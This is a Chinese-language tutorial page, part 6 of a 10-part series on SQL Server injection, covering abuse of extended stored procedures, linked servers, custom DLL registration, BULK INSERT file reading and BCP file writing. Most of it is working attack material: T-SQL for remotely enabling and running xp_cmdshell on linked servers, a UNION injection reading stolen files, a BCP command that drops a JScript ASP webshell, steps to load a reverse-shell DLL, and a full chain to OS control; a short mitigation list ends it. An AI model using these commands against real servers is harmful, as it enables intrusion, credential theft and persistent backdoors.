首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> SQL Server 資料庫 >> 關於SqlServer

SQL Server 注入攻擊深度解析 (6/10):其他擴展存儲、連結伺服器、自訂 DLL、BULK INSERT/BCP 檔案操作

     編輯:關於SqlServer

其他實用擴展存儲 (偵察/橫向/持久化)

擴展存儲功能攻擊價值
xp_servicecontrol啟動/停止/暫停/繼續服務停用防毒、備份、監控服務;重啟 SQL 服務刷新配置
xp_availablemedia列舉本機磁碟機偵察可寫路徑、備份位置
xp_dirtree遞迴列出目錄結構尋找 Web 根目錄、配置檔、備份檔
xp_enumdsn列舉系統/用戶 ODBC DSN發現其他資料庫連線字串 (含密碼)
xp_loginconfig顯示登入模式、審計等級偵察安全配置
xp_makecab建立 CAB 壓縮檔打包大量檔案一次竊取 (繞過單檔大小限制)
xp_ntsec_enumdomains列舉可訪問網域網域偵察、橫向目標
xp_terminate_process依 PID 終止程序殺掉 SQL Agent、防毒、EDR、備份代理

連結伺服器 — 跨資料庫攻擊跳板

機制:`master..sysservers` 存儲連結伺服器定義。若設定 `sp_addlinkedsrvlogin` 建立自動登入映射,攻擊者可無密碼存取遠端實例。


-- 列舉連結伺服器
SELECT * FROM master..sysservers;

-- 執行遠端查詢 (OPENQUERY 需連結伺服器支援)
SELECT * FROM OPENQUERY(LinkedSrv, 'SELECT name, password_hash FROM master..syslogins');

-- 遠端執行 xp_cmdshell (需 RPC 啟用)
EXEC ('EXEC master..xp_cmdshell ''whoami''') AT LinkedSrv;

-- 遠端啟用 xp_cmdshell (若已禁用)
EXEC ('EXEC sp_configure ''show advanced'', 1; RECONFIGURE; EXEC sp_configure ''xp_cmdshell'', 1; RECONFIGURE') AT LinkedSrv;

自訂擴展存儲 (DLL 注入) — 進程級代碼執行

  1. 編譯含 `GetSQLServerInterfaces` 導出函數的 DLL (C/C++),實作惡意邏輯 (反彈 Shell、讀取記憶體、掛鉤)。
  2. 上傳 DLL 至 SQL Server 可讀路徑 (利用 `xp_cmdshell` 下載、錯誤日志寫入十六進位還原、FTP/HTTP 等)。
  3. 註冊:`EXEC sp_addextendedproc 'xp_evil', 'C:\Temp\xp_evil.dll';`
  4. 呼叫:`EXEC xp_evil;` — **在 SQL Server 進程空間內執行 (Ring 0 權限)**,繞過所有 SQL 層防禦。
  5. 清理:`EXEC sp_dropextendedproc 'xp_evil';` (DLL 仍駐留記憶體直到服務重啟)。

BULK INSERT — 讀取任意伺服器端文字檔

前提:SQL 服務帳號對目標檔案有讀取權限。


-- 1. 建立暫存表
CREATE TABLE #tmp (line VARCHAR(8000));

-- 2. 將檔案內容導入 (每行一筆)
BULK INSERT #tmp FROM 'C:\Inetpub\wwwroot\login.asp' 
WITH (FIELDTERMINATOR = '\n', ROWTERMINATOR = '\n', FIRSTROW = 1);

-- 3. 透過 UNION/錯誤回顯/應用層查詢讀取內容
SELECT * FROM #tmp;
-- 或聯合注入:
' UNION SELECT line, 1, 1 FROM #tmp--

**用途**:竊取 Web 原始碼 (ASP/ASPX/PHP/JSP)、配置檔 (web.config、連線字串)、日志檔。

BCP (Bulk Copy Program) — 寫入任意伺服器端文字檔

命令列工具,在 SQL 進程外執行,需登入認證 (攻擊者可建立 SQL 登入或利用信任連線)。


-- 將查詢結果導出為 ASP Webshell
bcp "SELECT '<%@ Language=JScript %><% eval(Request.Item[\"cmd\"], \"unsafe\"); %>'" 
    QUERYOUT "C:\Inetpub\wwwroot\shell.asp" -c -S localhost -U sa -P "StrongPass"

**威力**:落地 Webshell、修改配置檔、植入啟動腳本、寫入計劃任務 XML。

綜合攻擊鏈範例

  1. SQLi 獲得 `xp_cmdshell` 執行權限。
  2. `xp_dirtree` 找到 Web 根目錄 `C:\Inetpub\wwwroot`。
  3. `BCP` 寫入 `shell.asp` Webshell。
  4. 瀏覽器訪問 `shell.asp?cmd=whoami` 取得 OS Shell (IIS 執行身分)。
  5. 若 IIS = System (舊版) → 完全控制伺服器;若 IIS = AppPoolIdentity → 橫向移動、提權 (CVE/Token 竊取/管道模擬)。

緩解措施

  • **移除非必要擴展存儲** (`sp_dropextendedproc`)。
  • **禁用 `xp_cmdshell`** (`sp_configure 'xp_cmdshell', 0`)。
  • **SQL 服務帳號最小權限** — 無本機管理員、無寫入 Web 目錄權限。
  • **檔案系統 ACL** — SQL 服務帳號不可讀寫 Web 目錄、系統目錄。
  • **防火牆出站封鎖** — SQL 伺服器禁止主動連出網際網路。
  • **審計 `BULK INSERT`、`BCP`、`sp_addextendedproc`、`OPENQUERY`、`EXEC AT`** — Extended Events 即時告警。
  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved